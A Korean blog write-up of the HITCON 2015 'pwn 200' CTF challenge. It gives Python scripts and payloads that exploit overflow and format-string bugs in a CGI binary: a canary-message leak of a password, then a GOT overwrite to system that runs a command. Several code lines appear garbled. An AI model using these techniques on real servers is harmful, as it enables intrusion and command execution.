티스토리 뷰

최종 수정: 2015-10-26

hackability@TenDollar


안녕하세요. Hackability 입니다.


오늘 포스팅 할 내용은 2015년 HITCON 에 pwn 200 으로 나온 문제 입니다.


문제는 다음과 같습니다.


get the shell

해당 URL 로 들어 가면 로그인 화면이 있는데 소스 보기를 하면 다음과 같이 두 가지 힌트를 얻을 수 있습니다.

...
<meta name="hint" content="check http://<url>/nanana :)">
...
$.post( '/cgi-bin/nanana', 어쩌구)

http://54.92.88.102/nanana 로 접근하면 nanana ELF 64bit 파일이 떨어집니다.

해당 바이너리를 살펴 보면 NX 와 Stack Canary가 걸려 있음을 확인할 수 있습니다. (checksec.sh)

1
2
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      FILE
Partial RELRO   Canary found      NX enabled    No PIE          No RPATH   No RUNPATH   nanana
cs

IDA를 통해 문제 구조를 보면 다음과 같습니다.

1. 전역 변수 (0x601090)에 패스워드를 저장
2. GET 에서 username, password, job, action 이라는 파라미터를 받음
  - 오버 플로우, 포멧 스트링 취약점 둘다 존재
3. password가 전역 변수 (0x601090)과 같다면 do_job을 하고 아니면 Auth Failed 됨

먼저 Auth를 성공 시키기 위해 전역 변수의 값을 알아야 합니다. 전역 변수 (0x601090)의 값을 노출 (leak) 시켜서 어떤 값이 들어 있는지 확인합니다. 여기서 값을 노출 시키기 위해 사용한 방법은 Stack Canary가 변조 되었을 때 발생되는

*** stack smashing detected *** ./nanana

를 이용하도록 합니다. 아이디어는 우리가 변수를 오버플로우 시켜서 Stack Canary가 변경되게 되면 내부적으로 __stack_chk_fail 함수가 동작하고 위 메시지를 띄우게 되는데 여기에 추가로 프로그램 명 (argv[0]) 도 같이 띄우는 것을 이용합니다. 만약 우리가 argv[0]을 0x601090로 덮는다면 아래와 같이 뜨게 될 겁니다.

*** stack smashing detected *** (전역 변수 패스워드)

먼저 이를 위해 다음과 같이 테스트를 합니다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import requests
import struct
 
= lambda x: struct.pack("<Q", x)
 
 
username = "A"
password = "A"
job = "A"
action = "A" * 311
 
params = {
    'username' : username,
    'password' : password,
    'job' : job,
    'action' : action
}
 
= requests.get(url, params=params)
 
print r.content
print r.headers
cs

결과는 다음과 같습니다.

1
2
3
4
5
6
7
8
9
Auth Failed
 
content-length : 12
*** stack smashing detected *** : /usr/lib/cgi-bin/nanana terminated
keep-alive : timeout=5, max=100
server : Apache/2.4.7 (Ubuntu)
connection : Keep-Alive
date : Tue, 20 Oct 2015 16:04:06 GMT
content-type : text/plain;charset=UTF-8
cs

action 값을 312로 조정 하면 다음과 같습니다.

1
2
3
4
5
6
7
8
9
Auth Failed
 
content-length : 12
*** stack smashing detected *** : terminated
keep-alive : timeout=5, max=100
server : Apache/2.4.7 (Ubuntu)
connection : Keep-Alive
date : Tue, 20 Oct 2015 16:05:30 GMT
content-type : text/plain;charset=UTF-8
cs

argv[0] 가 사라진 것을 볼 수 있습니다. 따라서 우리는 action + 312 부터 argv[0] 라는 것을 알 수 있고 312 바이트 이후 전역 변수 주소를 넣으면 저 메시지 위치에 뜰 것 같습니다.

1
action = "A" * 312 + Q(g_password)
cs

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>500 Internal Server Error</title>
</head><body>
<h1>Internal Server Error</h1>
<p>The server encountered an internal error or
misconfiguration and was unable to complete
your request.</p>
<p>Please contact the server administrator at 
 webmaster@localhost to inform them of the time this error occurred,
 and the actions you performed just before this error.</p>
<p>More information about this error may be available
in the server error log.</p>
<hr>
<address>Apache/2.4.7 (Ubuntu) Server at 54.92.88.102 Port 80</address>
</body></html>
 
date : Tue, 20 Oct 2015 16:08:25 GMT
content-length : 609
content-type : text/html; charset=iso-8859-1
connection : close
server : Apache/2.4.7 (Ubuntu)
cs

제가 원하는 결과 없이 에러 메시지만 발생됩니다. 이 이유는 argv[0]의 주소는 스택에 존재하여 하위 6바이트는 0 non-zero 이지만 전역 변수의 주소는 zero 값이 되어야 하기 때문에 argv[0] 위치의 주소 값을 0 으로 채울 방법이 필요 합니다. 아이디어는 sprintf 시 마지막 바이트는 null 값으로 채우는 것을 착안하여 username, password, job을 이용하여 argv[0]의 특정 위치를 0으로 바꾸는 것 입니다. 

1
2
3
4
username = "A" * (312 + 0x20 + 6)
password = "A" * (312 + 0x40 + 5)
job = "A" * (312 + 0x50 + 4)
action = "A" * 312 + Q(g_password)
cs

0x20, 0x40, 0x50은 각각 main 에서 떨어져 있는 변수들의 위치이고 +6, +5, +4는 0으로 채울 위치를 가리키고 있습니다. 이렇게 해서 프로그램을 실행시키면 정상적으로 전역 변수에 있는 값을 leak 할 수 있습니다.

1
2
3
4
5
6
*** stack smashing detected *** : hitconctf2015givemeshell terminated
keep-alive : timeout=5, max=100
server : Apache/2.4.7 (Ubuntu)
connection : Keep-Alive
date : Tue, 20 Oct 2015 16:04:06 GMT
content-type : text/plain;charset=UTF-8
cs

(* 이 이후로 서버 바이너리가 죽어서 글로 결과를 설명합니다 -_-;;)
이제 전역 변수의 패스워드를 알았기 때문에 테스트를 해보면 해더에 cat fake-flag 하는 것을 볼 수 있습니다. 하지만 fake-flag는 역시 가짜 flag이고 정상적인 flag를 찾아야 합니다.

먼저 GET으로 파라미터 받는 함수 (sub_40090D)를 살펴 보면 다음과 같습니다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
sub_40090D (char *a1, char *a2, char *a3, char *a4) {
    char *v4;
    char *v5;
    char *v6;
    char *v7;
 
    v4 = CGI_GET("username");
    if ( v4 ) {
        sprintf(a1, v4);
        v5 = CGI_GET("password");
        if ( v5 ) {
            sprintf(a2, v5);
            v6 = CGI_GET("job");
            if ( v6 ) {
                sprintf(a3, v6);
                v7 = CGI_GET("action");
                if ( v7 )
                    sprintf(a4, v7);
            }
        }
    }
}
cs

이 부분의 sprintf를 이용하여 버퍼 오버플로우를 하여 전역 변수의 패스워드를 알았지만 이를 이용하여 EIP 조작을 하기는 힘들어 보입니다. 따라서, sprintf 에 또다른 취약점인 포멧 스트링 버그를 이용하여 공격을 합니다.

아이디어는 다음과 같습니다.

1. do_job 함수의 .got.plt 를 system 함수의 .plt로 덮어 쓰기
2. do_job 에서 인자로 username을 edi로 받기 때문에 username에 command 넣기

먼저 (1)을 하기 위해서 do_job  system 의 plt를 보면 다음과 같습니다.

do_job_got_plt = 0x601048
do_job_plt = 0x4007D0
system_plt = 0x4007C0

do_job_got_plt 에 do_job_plt 값이 있는데 이를 system_plt 로 번경하려고 합니다. 보면 마지막 1바이트만 C0로 변경하면 될것 같습니다. 추가적으로 job 다음에 action 이 스택에 쌓이기 때문에 job 에 주소를 넣고 action 에 포멧 스트링을 넣으면 job 의 위치로 접근이 가능합니다. 그래서 포멧 스트링 공격 코드가 %0xc0x%15$hhn (마지막 1바이트만 변경) 이것만으로도 job 에서 전달한 주소의 마지막 1바이트만 c0 로 변경 가능합니다.

따라서, 이를 위한 최종 공격 코드는 다음과 같습니다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
import requests
import struct
 
= lambda x: struct.pack("<Q", x)
 
g_password = 0x601090
 
username = "A" * (312 + 0x20 + 6)
password = "A" * (312 + 0x40 + 5)
job = "A" * (312 + 0x50 + 4)
action = "A" * 312 + Q(g_password)
 
params = {
    'username' : username,
    'password' : password,
    'job' : job,
    'action' : action
}
 
= requests.get(url, params=params)
 
print r.content
for k in r.headers:
    print "{0} : {1}".format(k, r.headers[k])
 
# read_flag 는 find 로 미리 찾아 놓음
# username = "find / . ! 2>/dev/null"
 
addr_do_job = 0x601048
username = "cat $(/read_flag)"
password = "hitconctf2015givemeshell"
job = Q(addr_do_job)
action = "%" + str(0xc0+ "x%15$hhn"
 
params = {
    'username' : username,
    'password' : password,
    'job' : job,
    'action' : action
}
 
= requests.get(url, params=params)
 
print r.content
for k in r.headers:
    print "{0} : {1}".format(k, r.headers[k])
cs

(read_flag 가 실행 권한이 있기 때문에 실행 결과를 cat 했었음)

이를 실행 시키면 해더에 flag 값이 찍혀서 나옵니다.


댓글